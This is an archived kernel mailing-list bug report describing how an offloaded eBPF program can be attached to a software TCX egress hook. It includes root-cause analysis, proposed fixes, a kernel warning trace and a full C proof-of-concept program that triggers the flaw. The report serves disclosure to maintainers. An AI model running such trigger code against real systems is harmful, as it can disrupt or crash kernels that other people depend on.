lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <64d8e2b5-a214-4f3c-b9e8-bcedbcb2c602@hust.edu.cn>
Date: Tue, 25 Nov 2025 22:58:30 +0800
From: Yinhao Hu <dddddd@...t.edu.cn>
To: bpf@...r.kernel.org, netdev@...r.kernel.org
Cc: martin.lau@...ux.dev, daniel@...earbox.net, john.fastabend@...il.com,
 sdf@...ichev.me, ast@...nel.org, andrii@...nel.org, eddyz87@...il.com,
 song@...nel.org, yonghong.song@...ux.dev, kpsingh@...nel.org,
 haoluo@...gle.com, jolsa@...nel.org, dzm91@...t.edu.cn,
 M202472210@...t.edu.cn, hust-os-kernel-patches@...glegroups.com
Subject: bpf: Warning triggered when attaching offloaded program to software
 TCX hook

Our tool discovered a vulnerability in the eBPF TCX subsystem, which
allows a BPF program marked for hardware offload (e.g., using
`netdevsim`) to be attached to a software TCX hook on a standard network
interface.

When the kernel processes a packet and triggers the TCX hook, it
executes the offloaded program's host-side entry point. Since the
program is offloaded, its bytecode is replaced with a trap function
(`bpf_prog_warn_on_exec`). Triggering this path results in a kernel
WARNING ("attempt to execute device eBPF program on the host!").

Reported-by: Yinhao Hu <dddddd@...t.edu.cn>
Reported-by: Kaiyan Mei <M202472210@...t.edu.cn>
Reviewed-by: Dongliang Mu <dzm91@...t.edu.cn>

## Root Cause and Trigger Analysis

The execution flow is as follows:

1. Program Load (Forced Offload): When userspace loads a
`BPF_PROG_TYPE_SCHED_CLS` program and specifies a `prog_ifindex`
pointing to a device that supports offload (such as `netdevsim`), the
kernel function `bpf_prog_dev_bound_init` (in `kernel/bpf/offload.c`)
sets `prog->aux->offload_requested = true`. Subsequently,
`bpf_prog_offload_compile` replaces the program's execution entry point
(`bpf_func`) with `bpf_prog_warn_on_exec`.

2. Attachment (The Missing Check): The user attaches this program to a
standard interface (e.g., `lo`) using `BPF_LINK_CREATE` with
`BPF_TCX_EGRESS`. The kernel functions `tcx_prog_attach` and
`tcx_link_attach` (in `kernel/bpf/tcx.c`) fail to verify if the program
is offloaded. They proceed to attach the "trap" program to the software
path via `bpf_mprog_attach`.

3. Trigger: When a network packet traverses the egress path
(`__dev_queue_xmit` -> `sch_handle_egress`), `tcx_run` invokes the BPF
program. Since the entry point is `bpf_prog_warn_on_exec`, the kernel
warning is triggered immediately.

## Recommended Fix

The most direct fix might be to add a check in `kernel/bpf/tcx.c` to
explicitly reject programs where `prog->aux->offload_requested` is true.
This should be applied to both `tcx_prog_attach` and `tcx_link_attach`.

Alternatively, the check can be placed in `kernel/bpf/syscall.c` inside
`link_create` or `bpf_prog_attach_check_attach_type`. However, since not
all attachment types forbid offloading (e.g., XDP can be offloaded), a
generic check would need to be specific to `BPF_TCX_*` types, which
might break the subsystem encapsulation.

## Crash Report

```yaml
[   19.592982] ------------[ cut here ]------------
[   19.594654] attempt to execute device eBPF program on the host!
[   19.594659] WARNING: kernel/bpf/offload.c:420 at 0x0, CPU#0: poc/337
[   19.599906] Modules linked in:
[   19.600680] CPU: 0 UID: 0 PID: 337 Comm: poc Not tainted
6.18.0-rc7-next-20251125 #10 PREEMPT(none)
[   19.601659] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX,
1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   19.602684] RIP: 0010:bpf_prog_warn_on_exec+0xc/0x20
[   19.603241] Code: 28 00 48 89 ef e8 74 44 2f 00 eb d7 66 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 0f 1f 44 00 00 48 8d 3d a4 eb 95
06 <67> 48 0f b9 3a 31 c0 e9 83 76 44 ff 0f 1f 84 00 00 00 00 00 90 90
[   19.605093] RSP: 0018:ffff8881066e73d8 EFLAGS: 00010246
[   19.605663] RAX: ffffffff81cbca70 RBX: ffff8881013c4210 RCX:
0000000000000004
[   19.606378] RDX: 1ffff11020278842 RSI: ffffc90000563060 RDI:
ffffffff8861b620
[   19.607107] RBP: ffff8881010d0640 R08: ffff8881013c4210 R09:
ffff8881010d06b0
[   19.607827] R10: ffff8881010d06c3 R11: ffffc90000563000 R12:
ffffc90000563000
[   19.608751] R13: ffff8881010d06b4 R14: ffff888115eb1a34 R15:
dffffc0000000000
[   19.609478] FS:  000000000294c380(0000) GS:ffff8881911e9000(0000)
knlGS:0000000000000000
[   19.610316] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   19.610943] CR2: 000057f6b9eb38c0 CR3: 00000001010ea000 CR4:
0000000000750ef0
[   19.611712] PKRU: 55555554
[   19.612006] Call Trace:
[   19.612281]  <TASK>
[   19.612523]  __dev_queue_xmit+0x22cb/0x3530
[   19.617607]  ip_finish_output2+0x621/0x1a60
[   19.621371]  ip_output+0x170/0x2e0
[   19.624586]  ip_send_skb+0x129/0x180
[   19.624940]  udp_send_skb+0x65d/0x1300
[   19.625316]  udp_sendmsg+0x13bf/0x2000
[   19.629960]  __sys_sendto+0x396/0x470
[   19.633720]  __x64_sys_sendto+0xdc/0x1b0
[   19.635066]  do_syscall_64+0x76/0x10a0
[   19.641701]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[   19.642240] RIP: 0033:0x4240d7
[   19.642597] Code: 00 89 01 e9 c1 fe ff ff e8 f6 03 00 00 66 0f 1f 44
00 00 f3 0f 1e fa 80 3d 8d 3f 09 00 00 41 89 ca 74 10 b8 2c 00 00 00 0f
05 <48> 3d 00 f0 ff ff 77 69 c3 55 48 89 e5 53 48 83 ec 38 44 89 4d d0
[   19.646088] RSP: 002b:00007fffcb9ecb68 EFLAGS: 00000202 ORIG_RAX:
000000000000002c
[   19.648938] RAX: ffffffffffffffda RBX: 0000000000000001 RCX:
00000000004240d7
[   19.652116] RDX: 0000000000000008 RSI: 00007fffcb9ecce0 RDI:
0000000000000005
[   19.653148] RBP: 00007fffcb9eccf0 R08: 00007fffcb9ecbb0 R09:
0000000000000010
[   19.653951] R10: 0000000000000000 R11: 0000000000000202 R12:
00007fffcb9ece08
[   19.654760] R13: 00007fffcb9ece18 R14: 00000000004b2868 R15:
0000000000000001
[   19.657462]  </TASK>
[   19.657703] ---[ end trace 0000000000000000 ]---
```

## Proof of Concept

The following C program should demonstrates the issue on linux-next
6.18.0-rc7-next-20251125 and bpf-next commit
590699d85823f38b74d52a0811ef22ebb61afddc:

```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <linux/bpf.h>
#include <net/if.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define BPF_MOV64_IMM(DST, IMM) ((struct bpf_insn) { \
    .code  = BPF_ALU64 | BPF_MOV | BPF_K, \
    .dst_reg = DST, \
    .src_reg = 0, \
    .off   = 0, \
    .imm   = IMM })

#define BPF_EXIT_INSN() ((struct bpf_insn) { \
    .code  = BPF_JMP | BPF_EXIT, \
    .dst_reg = 0, \
    .src_reg = 0, \
    .off   = 0, \
    .imm   = 0 })

static inline int sys_bpf(enum bpf_cmd cmd, union bpf_attr *attr,
unsigned int size) {
    return syscall(__NR_bpf, cmd, attr, size);
}

// Try to create a netdevsim device to satisfy the offload requirement
int setup_netdevsim() {
    int fd = open("/sys/bus/netdevsim/new_device", O_WRONLY);
    if (fd >= 0) {
        // Try to create device ID 10, Port 1. Ignore error if exists.
        if (write(fd, "10 1", 4) < 0) {};
        close(fd);
        usleep(100000);
    }
    // Default name for netdevsim is usually eni10np1
    return if_nametoindex("eni10np1");
}

int main(int argc, char **argv) {
    int offload_ifindex = 0;
    int target_ifindex = if_nametoindex("lo");

    if (target_ifindex == 0) {
        fprintf(stderr, "[-] Failed to get loopback ifindex\n");
        return 1;
    }

    if (argc > 1)
        offload_ifindex = atoi(argv[1]);
    else
        offload_ifindex = setup_netdevsim();

    if (offload_ifindex == 0) {
        fprintf(stderr, "[-] Valid offload interface not found. Need
netdevsim.\n");
        return 1;
    }

    printf("[*] Offload ifindex: %d, Target ifindex: %d\n",
offload_ifindex, target_ifindex);

    // 1. Load BPF Program
    // Type: SCHED_CLS, bound to offload interface.
    // Kernel will replace bpf_func with bpf_prog_warn_on_exec.
    struct bpf_insn prog_insns[] = {
        BPF_MOV64_IMM(BPF_REG_0, 0), // return 0
        BPF_EXIT_INSN(),
    };

    union bpf_attr load_attr = {
        .prog_type = BPF_PROG_TYPE_SCHED_CLS,
        .insns = (unsigned long)prog_insns,
        .insn_cnt = sizeof(prog_insns) / sizeof(struct bpf_insn),
        .license = (unsigned long)"GPL",
        .prog_ifindex = offload_ifindex, // Key: Force Offload Request
    };

    int prog_fd = sys_bpf(BPF_PROG_LOAD, &load_attr, sizeof(load_attr));
    if (prog_fd < 0) {
        perror("[-] BPF_PROG_LOAD failed");
        return 1;
    }
    printf("[+] Program loaded (FD: %d). Host trap armed.\n", prog_fd);

    // 2. Attach to Host Software Hook (TCX)
    // Vulnerability: tcx_link_attach fails to check if prog is offloaded.
    union bpf_attr link_attr = {
        .link_create.prog_fd = prog_fd,
        .link_create.target_ifindex = target_ifindex,
        .link_create.attach_type = BPF_TCX_EGRESS,
    };

    int link_fd = sys_bpf(BPF_LINK_CREATE, &link_attr, sizeof(link_attr));
    if (link_fd < 0) {
        perror("[-] BPF_LINK_CREATE failed");
        if (errno == EINVAL)
            printf("[!] EINVAL received. Vulnerability likely PATCHED.\n");
        close(prog_fd);
        return 1;
    }
    printf("[+] Link attached (FD: %d). Vulnerability trigger ready.\n",
link_fd);

    // 3. Trigger via Network Traffic
    printf("[*] Sending packet to trigger warning...\n");
    int sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock >= 0) {
        struct sockaddr_in addr = {
            .sin_family = AF_INET,
            .sin_port = htons(12345),
            .sin_addr.s_addr = htonl(INADDR_LOOPBACK)
        };
        char msg[] = "trigger";
        if (sendto(sock, msg, sizeof(msg), 0, (struct sockaddr *)&addr,
sizeof(addr)) > 0) {
            printf("[+] Packet sent. Check dmesg for 'attempt to execute
device eBPF program'.\n");
        }
        close(sock);
    }

    sleep(2); // Wait for kernel processing
    close(link_fd);
    close(prog_fd);
    return 0;
}
```
View attachment "config-bpf" of type "text/plain" (123753 bytes)

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ